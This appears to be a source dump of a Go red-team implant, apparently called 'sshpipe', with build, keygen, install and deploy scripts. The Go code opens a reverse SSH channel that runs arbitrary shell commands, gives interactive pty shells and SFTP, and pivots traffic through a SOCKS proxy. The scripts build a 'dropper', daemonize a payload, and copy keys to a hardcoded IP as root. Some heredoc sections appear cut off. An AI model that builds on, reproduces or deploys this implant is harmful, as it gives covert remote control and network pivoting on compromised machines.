net.Dial("tcp4", addr.String()) if err != nil { log.Printf("SOCKS: [%s] unable to connect to remote host: %v", local.RemoteAddr(), err) local.Write([]byte{0x05, 0x04, 0x00, 0x01, 0, 0, 0, 0, 0, 0}) return } local.Write([]byte{0x05, 0x00, 0x00, 0x01, ip[0], ip[1], ip[2], ip[3], byte(port >> 8), byte(port)}) transfer(local, remote) case 3: addrlen, buf := buf[1], buf[2:] name, buf := buf[:addrlen], buf[addrlen:] ip, err := net.ResolveIPAddr("ip", string(name)) if err != nil { log.Printf("SOCKS: [%s] unable to resolve IP address: %q, %v", local.RemoteAddr(), name, err) local.Write([]byte{0x05, 0x04, 0x00, 0x01, 0, 0, 0, 0, 0, 0}) return } port := binary.BigEndian.Uint16(buf[:2]) addr := &net.TCPAddr{IP: ip.IP, Port: int(port)} // remote, err := dialer.DialTCP("tcp", local.RemoteAddr().(*net.TCPAddr), addr) remote, err := net.Dial("tcp4", addr.String()) if err != nil { log.Printf("SOCKS: [%s] unable to connect to remote host: %v", local.RemoteAddr(), err) local.Write([]byte{0x05, 0x04, 0x00, 0x01, 0, 0, 0, 0, 0, 0}) return } local.Write([]byte{0x05, 0x00, 0x00, 0x01, addr.IP[0], addr.IP[1], addr.IP[2], addr.IP[3], byte(port >> 8), byte(port)}) transfer(local, remote) default: log.Printf("SOCKS: [%s] unsupported SOCKS5 address type: %d", local.RemoteAddr(), addrtype) local.Write([]byte{0x05, 0x08, 0x00, 0x01, 0, 0, 0, 0, 0, 0}) } default: log.Printf("SOCKS: [%s] unknown SOCKS5 command: %d", local.RemoteAddr(), command) local.Write([]byte{0x05, 0x07, 0x00, 0x01, 0, 0, 0, 0, 0, 0}) } default: log.Printf("SOCKS: [%s] unnknown version after SOCKS5 handshake: %d", local.RemoteAddr(), version) local.Write([]byte{0x05, 0x07, 0x00, 0x01, 0, 0, 0, 0, 0, 0}) } default: log.Printf("SOCKS: [%s] unknown SOCKS version: %d", local.RemoteAddr(), version) } } // transfer tranfers bytes // in - local SOCKS conn (Red) // out - remote desired endpoint (Blue) func transfer(in, out net.Conn) { wg := new(sync.WaitGroup) wg.Add(2) f := func(in, out net.Conn, wg *sync.WaitGroup) { // copy bytes verbatim n, err := io.Copy(out, in) log.Printf("SOCKS: xfer done: in=%v\tout=%v\ttransfered=%d\terr=%v", in.RemoteAddr(), out.RemoteAddr(), n, err) // close write side on local SOCKS if conn, ok := in.(*net.TCPConn); ok { conn.CloseWrite() } // close read side to remote endpoint if conn, ok := out.(*net.TCPConn); ok { conn.CloseRead() } wg.Done() } go f(in, out, wg) f(out, in, wg) wg.Wait() out.Close() } ================================================ FILE: src/traffic.go ================================================ package main import ( "fmt" "io" "io/ioutil" "log" "net" "os" "os/exec" "sync" "syscall" "time" "github.com/kr/pty" "github.com/pkg/sftp" "golang.org/x/crypto/ssh" "github.com/gorilla/websocket" ) // Listens for SSH connection func listenConnection(client net.Conn, config *ssh.ServerConfig) { // Before use, a handshake must be performed on the incoming net.Conn. sshConn, chans, reqs, err := ssh.NewServerConn(client, config) if err != nil { log.Printf("SSH: Failed to handshake (%s)", err) return } log.Printf("SSH: New connection from %s (%s)", sshConn.RemoteAddr(), sshConn.ClientVersion()) // Discard all irrelevant incoming request but serve the one you really need to care. // DiscardRequests consumes and rejects all requests from the // passed-in channel. // TODO: why we need this? // go ssh.DiscardRequests(reqs) go handleRequests(reqs) // Accept all channels go handleChannels(chans) } func listenSConnection(SClientConn net.Conn) { go handleSConn(SClientConn) } func acceptLoop(listener net.Listener, config *ssh.ServerConfig) { log.Printf("SSH: SSH Port Listener: %s\n", listener.Addr().String()) defer listener.Close() for { clientConn, err := listener.Accept() if err != nil { log.Fatal(err) } log.Printf("SSH: New connection found on %s\n", listener.Addr().String()) go listenConnection(clientConn, config) } } func acceptSLoop(listener net.Listener) { log.Printf("SSH: SOCKS Listener: %s\n", listener.Addr().String()) defer listener.Close() for { clientConn, err := listener.Accept() log.Printf("local addr %s\n", clientConn.LocalAddr()) if err != nil { log.Fatal(err) } log.Printf("SSH: SOCKS: New connection found on %s\n", listener.Addr().String()) go listenSConnection(clientConn) } log.Println("SSH: waiting for all existing connections to finish") connections.Wait() log.Println("SSH: shutting down") } func handleRequests(reqs <-chan *ssh.Request) { for req := range reqs { log.Printf("SSH: received out-of-band request: %+v", req) } } // Start assigns a pseudo-terminal tty os.File to c.Stdin, c.Stdout, // and c.Stderr, calls c.Start, and returns the File of the tty's // corresponding pty. func PtyRun(c *exec.Cmd, tty *os.File) (err error) { defer tty.Close() c.Stdout = tty c.Stdin = tty c.Stderr = tty c.SysProcAttr = &syscall.SysProcAttr{ Setctty: true, Setsid: true, } return c.Start() } func handleChannels(chans <-chan ssh.NewChannel) { // Service the incoming Channel channel. for newChannel := range chans { // Channels have a type, depending on the application level // protocol intended. In the case of a shell, the type is // "session" and ServerShell may be used to present a simple // terminal interface. // TODO: other types of channels (x11, forwarded-tcp, direct-tcp) may need to be handled here if t := newChannel.ChannelType(); t != "session" { newChannel.Reject(ssh.UnknownChannelType, fmt.Sprintf("SSH: unknown channel type: %s", t)) continue } channel, requests, err := newChannel.Accept() if err != nil { log.Printf("SSH: could not accept channel (%s)", err) continue } // allocate a terminal for this channel log.Print("SSH: creating pty...") // Create new pty f, tty, err := pty.Open() if err != nil { log.Printf("SSH: could not start pty (%s)", err) continue } var shell string shell = os.Getenv("SHELL") if shell == "" { shell = SSHShell // Take defaults } // Sessions have out-of-band requests such as "exec", "shell", "pty-req" and "env" go func(in <-chan *ssh.Request) { for req := range in { // log.Printf("%v %s", req.Payload, req.Payload) ok := false switch req.Type { case "exec": ok = true command := string(req.Payload[4 : req.Payload[3]+4]) // Start Command via shell // TODO: maybe without shell? cmd := exec.Command(shell, []string{"-c", command}...) log.Printf("SSH: cmd to exec: %s\n", command) cmd.Stdout = channel cmd.Stderr = channel cmd.Stdin = channel err := cmd.Start() if err != nil { log.Printf("SSH: could not start command (%s)", err) continue } // Teardown session go func() { _, err := cmd.Process.Wait() if err != nil { log.Printf("SSH: failed to exit bash (%s)", err) } channel.Close() log.Printf("SSH: session closed") }() case "shell": // TODO: parameterize shell and TERM cmd := exec.Command(shell) cmd.Env = []string{"TERM=" + SSHEnvTerm} err := PtyRun(cmd, tty) if err != nil { log.Printf("SSH: Error Pty: %s", err) } // Teardown session var once sync.Once closeCh := func() { channel.Close() log.Printf("SSH: session closed") } //pipe session to bash and visa-versa go func() { _, err := io.Copy(channel, f) if err != nil { log.Println(fmt.Sprintf("SSH: error copy BLUE SHELL -> RED remote : %s", err)) } once.Do(closeCh) }() go func() { _, err := io.Copy(f, channel) if err != nil { log.Println(fmt.Sprintf("error copy RED remote -> BLUE SHELL: %s", err)) } once.Do(closeCh) }() // We don't accept any commands (Payload), // only the default shell. // TODO: What is this and do we need it? if len(req.Payload) == 0 { ok = true } case "pty-req": // Responding 'ok' here will let the client // know we have a pty ready for input ok = true // Parse body... termLen := req.Payload[3] termEnv := string(req.Payload[4 : termLen+4]) w, h := parseDims(req.Payload[termLen+4:]) SetWinsize(f.Fd(), w, h) log.Printf("SSH: pty-req '%s'", termEnv) case "window-change": w, h := parseDims(req.Payload) SetWinsize(f.Fd(), w, h) continue //no response case "subsystem": log.Printf("SSH: Subsystem wanted: %s\n", req.Payload[4:]) subsystemId := string(req.Payload[4:]) if subsystemId == "sftp" { debugStream := ioutil.Discard serverOptions := []sftp.ServerOption{ sftp.WithDebug(debugStream), } server, err := sftp.NewServer( channel, serverOptions..., ) if err != nil { log.Println("SSH: SFTP error", err) } if err := server.Serve(); err == io.EOF { server.Close() log.Println("SSH: SFTP client exited session.") } else if err != nil { log.Println("SSH: SFTP server completed with error:", err) } ok = true } else { // TODO: Implement `env` type of *ssh.Request log.Printf("Declining Subsystem: %s\n", subsystemId) } } if !ok { log.Printf("SSH: declining %s request...", req.Type) } req.Reply(ok, nil) } }(requests) } } // In order to comply websocket to net.Conn interface it needs to implement Read/Write // TODO: Refactor func NewWebSocketConn(websocketConn *websocket.Conn) net.Conn { c := wsConn{ Conn: websocketConn, } return &c } //Read is not threadsafe though thats okay since there //should never be more than one reader func (c *wsConn) Read(dst []byte) (int, error) { ldst := len(dst) //use buffer or read new message var src []byte if l := len(c.buff); l > 0 { src = c.buff c.buff = nil } else { t, msg, err := c.Conn.ReadMessage() if err != nil { return 0, err } else if t != websocket.BinaryMessage { log.Printf(" non-binary msg") } src = msg } //copy src->dest var n int if len(src) > ldst { //copy as much as possible of src into dst n = copy(dst, src[:ldst]) //copy remainder into buffer r := src[ldst:] lr := len(r) c.buff = make([]byte, lr) copy(c.buff, r) } else { //copy all of src into dst n = copy(dst, src) } //return bytes copied return n, nil } func (c *wsConn) Write(b []byte) (int, error) { if err := c.Conn.WriteMessage(websocket.BinaryMessage, b); err != nil { return 0, err } n := len(b) return n, nil } func (c *wsConn) SetDeadline(t time.Time) error { if err := c.Conn.SetReadDeadline(t); err != nil { return err } return c.Conn.SetWriteDeadline(t) } ================================================ FILE: src/types.go ================================================ package main import ( "fmt" "github.com/gorilla/websocket" ) // Implant Types // Endpoint: address:port type Endpoint struct { Host string Port string } func (endpoint *Endpoint) String() string { return fmt.Sprintf("%s:%s", endpoint.Host, endpoint.Port) } // Websocket connection type wsConn struct { *websocket.Conn buff []byte } ================================================ FILE: src/vars.go ================================================ package main import "sync" // Global vars var connections = new(sync.WaitGroup) // LD_FLAGS' modifiable constants var ( SSHServerHost string //SSHServer host SSHServerPort string //SSHServer port SSHServerUser string //SSHServer user, logging in to SSHServer SSH SSHRemoteCmdHost string //SSHRemote host SSHRemoteCmdPort string //SSHRemote port SSHRemoteCmdUser string //user logging in on reverse SSH shell, addt'l control SSHRemoteCmdPwd string //pw for the ^^ user SSHShell string // Default Shell SSHEnvTerm string // Terminal for `exec` request type SSHRemoteSocksHost string //SOCKS host SSHRemoteSocksPort string //SOCKS port SSHServerUserKey string // Encrypted RSA key for SSH tunnel. Embedded unwrap SSHServerUserKeyUrl string // Where encrypted RSA key for SSH tunnel lives. Remote unwrap SSHServerUserKeyPassphrase string // decryption key for ^^ HTTPProxy string // HTTP Proxy HTTPProxyFromEnvironment string // HTTP Proxy set from the Blue environment HTTPProxyAuthUser string // HTTP Proxy User HTTPProxyAuthPass string // HTTP Proxy Pass HTTPEndpoint string // HTTP Endpoint WSEndpoint string // WS/S Endpoint LogFile string // Log file for implant (debugging) Daemonize string // Background our of the controlling terminal PIDFile string // PID File for daemon ) // SSHRemote reverse forwarding port for shell (on Red network) var SSHRemoteEndpoint = Endpoint{ Host: SSHRemoteCmdHost, Port: SSHRemoteCmdPort, } // SSHRemote reverse forwarding port for SOCKS (on Red network) var SSHRemoteEndpointSOCKS = Endpoint{ Host: SSHRemoteSocksHost, Port: SSHRemoteSocksPort, } ================================================ FILE: tools/build_implant.sh ================================================ #!/bin/bash usage(){ echo "Message: $2\n" echo "Usage: $1 [build.profile]\n" exit 1 } if [[ $# -eq 0 ]] then BUILDCONF="./build.profile" else BUILDCONF=${1} fi if [[ -f ${BUILDCONF} ]] then source ${BUILDCONF} else usage $0 "Cannot find build configuration" fi #------------------------- Build --------------------# export GOOS=${DropperOS} GOARCH=${DropperArch} TOP_DIR="/Users/dimas/Code/go/src/sshpipe" TOOL_DIR="${TOP_DIR}/tools" CODE_DIR="${TOP_DIR}/src" OUT_DIR="${TOP_DIR}/out/${ImplantID}" [[ ! -d ${OUT_DIR} ]] && mkdir ${OUT_DIR} cd ${TOP_DIR} printf "\n\n\t%s\n" "Cutting Implant ID ${ImplantID} for target (${DropperOS}/${DropperArch})" printf "\n%s\n" "### PHASE I: Implant Generation ###" printf "%s\n\n" "------------------------------------" echo "[*] Building Keys For ${ImplantID} " go run ${TOOL_DIR}/keygen.go \ -bits ${SSHServerUserKeyBits} -pass ${SSHServerUserKeyPassphrase} \ -pkfile ${SSHServerUserKeyFile}.pk \ -pkfile-b64 ${SSHServerUserKeyFile}.bpk \ -pubfile ${SSHServerUserKeyFile}.pub if [[ $? -eq 0 ]] then echo echo "[*] Building dropper ${ImplantID} (${DropperName}) for ${DropperOS} / ${DropperArch} " go build -buildmode=${DropperBuildType} -ldflags \ "-s -w \ -X main.ImplantID=${ImplantID} \ -X main.SSHShell=${SSHShell} \ -X main.SSHEnvTerm=${SSHEnvTerm} \ -X main.SSHServerPort=${SSHServerPort} \ -X main.SSHServerHost=${SSHServerHost} \ -X main.SSHServerUser=${SSHServerUser} \ -X main.SSHServerUserKey=$( cat ${SSHServerUserKeyFile}.bpk ) \ -X main.SSHServerUserKeyUrl=${SSHServerUserKeyUrl} \ -X main.SSHServerUserKeyPassphrase=${SSHServerUserKeyPassphrase} \ -X main.SSHRemoteCmdHost=${SSHRemoteCmdHost} \ -X main.SSHRemoteCmdPort=${SSHRemoteCmdPort} \ -X main.SSHRemoteCmdUser=${SSHRemoteCmdUser} \ -X main.SSHRemoteCmdPwd=${SSHRemoteCmdPwd} \ -X main.SSHRemoteSocksHost=${SSHRemoteSocksHost} \ -X main.SSHRemoteSocksPort=${SSHRemoteSocksPort} \ -X main.HTTPProxyFromEnvironment=${HTTPProxyFromEnvironment} \ -X main.HTTPProxy=${HTTPProxy} \ -X main.HTTPProxyAuthUser=${HTTPProxyAuthUser} \ -X main.HTTPProxyAuthPass=${HTTPProxyAuthPass} \ -X main.HTTPEndpoint=${HTTPEndpoint} \ -X main.WSEndpoint=${WSEndpoint} \ -X main.LogFile=${LogFile} \ -X main.PIDFile=${PIDFile} \ -X main.Daemonize=${Daemonize}" \ -o ${OUT_DIR}/${DropperName} \ ${CODE_DIR}/rssh.go ${CODE_DIR}/types.go ${CODE_DIR}/vars.go \ ${CODE_DIR}/pty.go ${CODE_DIR}/socksport.go ${CODE_DIR}/keymgmt.go \ ${CODE_DIR}/traffic.go else printf " %s\n" "KeyGen unsuccessful" exit 2 fi if [[ $? -eq 0 ]] then printf "\n\n%s\n\n" "**********************************************" echo "Implant: ${DropperName} ($(stat -f '%z bytes' ${OUT_DIR}/${DropperName})) Generated" echo "!!! Here is the info on Implant configuraton !!!" echo "!!! Record the info somewhere safe and we have saved a copy here !!!" echo "!!! Implant Info: ${OUT_DIR}/${ImplantID}.info !!!" echo "!!! This info is mostly embedded in the Implant. !!!" echo "!!! Again, save it, or you will need to regenerate the implant. !!!" printf "%s\n\n" "**********************************************" printf "%s\n\n" "-------------- START INFO--------------" cat<} (Blue) Implant Execution Context Daemonize? ${Daemonize} PIDFile: ${PIDFile} LogFile (!! Debug locally !!): ${LogFile} SSHEnvTerm ${SSHEnvTerm} SSHShell ${SSHShell} (Yellow/Red) Implant HTTP/WS/WSS Wrap Endpoints HTTP Endpoint: ${HTTPEndpoint} WS Endpoint: ${WSEndpoint} (Yellow/Red) SSH Rendezvous Point: SSHServerHost=${SSHServerHost} SSHServerPort=${SSHServerPort} SSHServerUser=${SSHServerUser} (Yellow/Red) SSH Key Hosting / Embedding: +SSHServerUserKeyFile=${SSHServerUserKeyFile}.bpk SSHServerUserKeyUrl=${SSHServerUserKeyUrl} SSHServerUserKeyPassphrase=${SSHServerUserKeyPassphrase} (Red) RT Operator Interface to SSH Implant Channel: SSHRemoteCmdHost=${SSHRemoteCmdHost} SSHRemoteCmdPort=${SSHRemoteCmdPort} (Red) RT Operator SSH Tunnel Usage and Authentication Info SSHRemoteCmdUser=${SSHRemoteCmdUser} SSHRemoteCmdPwd=${SSHRemoteCmdPwd} (Red) RT Operator SOCKS Tunnel Usage Info: SSHRemoteSocksHost=${SSHRemoteSocksHost} SSHRemoteSocksPort=${SSHRemoteSocksPort} END printf "%s\n\n" "-------------- END INFO----------------" echo "[*] Packaging ${ImplantID} for infrastructure deployment " # pushd/popd not always available cd ${OUT_DIR} tar -cvzf ${ImplantID}.tar.gz ./${ImplantID}.{pk,bpk,pub} cd - printf "\n\n%s\n\n" "**********************************************" echo "Based on your build profile you can expect the following Deployment Plan" printf "%s\n\n" "**********************************************" printf "\n%s\n" "### PHASE II: Red Infra Prep Deployment Guidance ###" printf "%s\n\n" "----------------------------------------------------" cat< 0: # exit first parent sys.exit(0) except OSError as err: sys.stderr.write('fork #1 failed: {0}\n'.format(err)) sys.exit(1) # decouple from parent environment os.chdir(idir) os.setsid() os.umask(0) # do second fork try: pid = os.fork() if pid > 0: # exit from second parent sys.exit(0) except OSError as err: sys.stderr.write('fork #2 failed: {0}\n'.format(err)) sys.exit(1) # redirect standard file descriptors sys.stdout.flush() sys.stderr.flush() si = open(os.devnull, 'r') so = open(os.devnull, 'a+') se = open(os.devnull, 'a+') os.dup2(si.fileno(), sys.stdin.fileno()) os.dup2(so.fileno(), sys.stdout.fileno()) os.dup2(se.fileno(), sys.stderr.fileno()) if __name__ == '__main__': # Start the daemon if len(sys.argv) < 3: print("Usage: /full/path/to/payload") print(" type: bin|lib ") sys.exit(1) # preserve before daemonizing itype = str(sys.argv[1]) ipath = str(os.path.abspath(sys.argv[2])) daemonize("/tmp") irun(ipath, itype) ================================================ FILE: tools/install_implant.sh ================================================ #!/bin/bash # # # Build assumes Linux infra # # # usage(){ echo "$0 /path/.tar.gz" exit 1 } AGENT_PKG="" AGENTID="" AHOME_DIR="/tmp/" if [[ $# -ne 1 ]] then usage fi if [[ -f $1 ]] then AGENT_PKG=$1 _t=$(/usr/bin/basename -- "${AGENT_PKG}") AGENTID="${_t%.*.*}" else usage fi echo "[+] Checking if ${AGENTID} OS account is available" /usr/bin/getent passwd $AGENTID >/dev/null if [[ $? -eq 0 ]] then echo "User account is already present. Investigate. Halting" exit 3 fi echo "[+] Creating ${AGENTID} OS account" AHOME="${AHOME_DIR}/${AGENTID}" /usr/sbin/useradd -c ${AGENTID} -d ${AHOME} -m -N -s /bin/false ${AGENTID} \ -p $(dd if=/dev/urandom bs=1024 count=1 status=none | shasum | cut -c 1-31) # Throwaway password if [[ -d ${AHOME} ]] then cd ${AHOME} echo "[+] Setting up ${AGENTID} HOME" chmod 700 ${AHOME} mkdir ${AHOME}/.ssh && chown ${AGENTID} ${AHOME}/.ssh && chmod 700 ${AHOME}/.ssh echo "[+] Unpacking SSH Keys from ${AGENTID}.tar.gz" /bin/tar -xvzf ${AGENT_PKG} -C ${AHOME}/.ssh echo "[+] Setting ${AGENTID} SSH keys" chown ${AGENTID} ${AHOME}/.ssh/${AGENTID}.{pk,pub,bpk} && chmod 600 ${AHOME}/.ssh/${AGENTID}.{pk,pub,bpk} echo "[+] Adding PUBLIC Key ${AHOME}/.ssh/${AGENTID} to Agent's Authorized keys file" cat ${AHOME}/.ssh/${AGENTID}.pub > ${AHOME}/.ssh/authorized_keys chown ${AGENTID} ${AHOME}/.ssh/authorized_keys echo "[+] Currently, content of ${AGENTID} 's HOME: " ls -ld ${AHOME} ls -ld ${AHOME}/.ssh ls -l ${AHOME}/.ssh/* cd - echo "[!!!] If not embedding PK into implant, host armored PK: ${AHOME}/.ssh/${AGENTID}.bpk " else echo "No ${AHOME} found ?" fi ================================================ FILE: tools/keygen.go ================================================ // Ideas from: // https://gist.githubusercontent.com/devinodaniel/8f9b8a4f31573f428f29ec0e884e6673/raw/d4d4495db6fcc6cce367c11a6f70ccfb65ba36a9/gistfile1.txt // // keygen.go -bits 4096 -pass "hello" -pkfile /tmp/agentx.pk -pkfile-b64 /tmp/agentx.bpk -pubfile /tmp/agentx.pub package main import ( "crypto/aes" "crypto/cipher" "crypto/md5" "crypto/rand" "crypto/rsa" "crypto/x509" "encoding/base64" "encoding/hex" "encoding/pem" "flag" "fmt" "golang.org/x/crypto/ssh" "io" "io/ioutil" "log" "os" ) func main() { var ( pkFile string pkFileB64 string pubFile string passphrase string bitSize *int ) flag.StringVar(&pkFile, "pkfile", "/dev/null", "PK file path") flag.StringVar(&pubFile, "pubfile", "/dev/null", "PUB file path") flag.StringVar(&pkFileB64, "pkfile-b64", "/dev/null", "PK B64 file path") flag.StringVar(&passphrase, "pass", "/dev/null", "Passphrase for PK") bitSize = flag.Int("bits", 4096, "RSA bit size (default: 4096)") flag.Parse() fmt.Printf("[+] Generating PK\n") privateKey, err := generatePrivateKey(*bitSize) if err != nil { log.Fatal(err.Error()) } fmt.Printf("[+] Generating PUB from PK (SSH pub)\n") publicKeyBytes, err := generatePublicKey(&privateKey.PublicKey) if err != nil { log.Fatal(err.Error()) } fmt.Printf("[+] Encoding PK to PEM\n") privateKeyBytes := encodePrivateKeyToPEM(privateKey) fmt.Printf("[+] Writing PK to file: %s \n", pkFile) err = writeKeyToFile(privateKeyBytes, pkFile) if err != nil { log.Fatal(err.Error()) } fmt.Printf("[+] Writing PUB to file: %s \n", pubFile) err = writeKeyToFile(publicKeyBytes, pubFile) if err != nil { log.Fatal(err.Error()) } fmt.Printf("[+] Encrypting PK with passphrase (transmission/storage)\n") // PK to BIN ciphertext := encBytes(privateKeyBytes, passphrase) // fmt.Printf("[*] PK (HEX) : [%x]... \n", ciphertext[:80]) // BIN to B64 fmt.Printf("[+] Encoding PK B64 armored PK (transmission)\n") ciphertextB64 := base64.StdEncoding.EncodeToString([]byte(ciphertext)) // fmt.Printf("[*] PK (B64) : [%s]... \n", ciphertextB64[:80]) // Save PK to File fmt.Printf("[+] Saving B64 armored PK to file: %s\n", pkFileB64) writeKeyToFile([]byte(ciphertextB64), pkFileB64) } // generatePrivateKey creates a RSA Private Key of specified byte size func generatePrivateKey(bitSize int) (*rsa.PrivateKey, error) { // Private Key generation privateKey, err := rsa.GenerateKey(rand.Reader, bitSize) if err != nil { return nil, err } // Validate Private Key err = privateKey.Validate() if err != nil { return nil, err } log.Println("Private Key generated") return privateKey, nil } // encodePrivateKeyToPEM encodes Private Key from RSA to PEM format func encodePrivateKeyToPEM(privateKey *rsa.PrivateKey) []byte { // Get ASN.1 DER format privDER := x509.MarshalPKCS1PrivateKey(privateKey) // pem.Block privBlock := pem.Block{ Type: "RSA PRIVATE KEY", Headers: nil, Bytes: privDER, } // Private key in PEM format privatePEM := pem.EncodeToMemory(&privBlock) return privatePEM } // generatePublicKey takes a rsa.PublicKey and return bytes suitable for writing to .pub file // returns in the format "ssh-rsa ..." func generatePublicKey(privatekey *rsa.PublicKey) ([]byte, error) { publicRsaKey, err := ssh.NewPublicKey(privatekey) if err != nil { return nil, err } pubKeyBytes := ssh.MarshalAuthorizedKey(publicRsaKey) log.Println("Public key generated") return pubKeyBytes, nil } // writeKeyToFile writes keys to a file func writeKeyToFile(keyBytes []byte, saveFileTo string) error { err := ioutil.WriteFile(saveFileTo, keyBytes, 0600) if err != nil { return err } log.Printf("Key saved to: %s", saveFileTo) return nil } // strToHash hashes a string func strHash(key string) string { hasher := md5.New() hasher.Write([]byte(key)) return hex.EncodeToString(hasher.Sum(nil)) } // encBytes encrypts data with passphrase func encBytes(data []byte, passphrase string) []byte { block, _ := aes.NewCipher([]byte(strHash(passphrase))) gcm, err := cipher.NewGCM(block) if err != nil { panic(err.Error()) } nonce := make([]byte, gcm.NonceSize()) if _, err = io.ReadFull(rand.Reader, nonce); err != nil { panic(err.Error()) } ciphertext := gcm.Seal(nonce, nonce, data, nil) return ciphertext } func decBytes(data []byte, passphrase string) []byte { key := []byte(strHash(passphrase)) block, err := aes.NewCipher(key) if err != nil { panic(err.Error()) } gcm, err := cipher.NewGCM(block) if err != nil { panic(err.Error()) } nonceSize := gcm.NonceSize() nonce, ciphertext := data[:nonceSize], data[nonceSize:] plaintext, err := gcm.Open(nil, nonce, ciphertext, nil) if err != nil { panic(err.Error()) } return plaintext } func encBinToFile(filename string, data []byte, passphrase string) { f, _ := os.Create(filename) defer f.Close() f.Write(encBytes(data, passphrase)) } func decBinFromFile(filename string, passphrase string) []byte { data, _ := ioutil.ReadFile(filename) return decBytes(data, passphrase) } ================================================ FILE: tools/test_deploy.sh ================================================ #!/usr/bin/env bash ./tools/build_implant.sh ./conf/build.profile ./tools/transfer_implant_keys.sh ./out/4fa48c653682c3b04add14f434a3114/4fa48c653682c3b04add14f434a3114.tar.gz #./tools/call_implant.py ================================================ FILE: tools/transfer_implant_keys.sh ================================================ #!/bin/bash usage(){ echo "$1" echo "$0 /path/.tar.gz" exit 1 } if [[ $# -eq 0 ]] then usage "need file" fi if [[ -f $1 ]] then source $1 else usage $0 "Cannot find implant data file" fi IMPLANTFILE=$1 _t=$(/usr/bin/basename -- "$1") IMPLANTID="${_t%.*.*}" IHOST=167.99.88.24 IUSER=root IDIR="/tmp" INSTALL_SCRIPT="./tools/install_implant.sh" echo "Copying ${IMPLANT_FILE} and ${INSTALL_SCRIPT} to ${IHOST}" scp $IMPLANTFILE ${INSTALL_SCRIPT} ${IUSER}@${IHOST}:${IDIR} echo "Deleting remote user: ${IMPLANTID}" ssh -tt ${IUSER}@${IHOST} userdel -r ${IMPLANTID} echo "Installing: ${IMPLANTID}" ssh -tt ${IUSER}@${IHOST} ${IDIR}/install_implant.sh ${IDIR}/${IMPLANTID}.tar.gz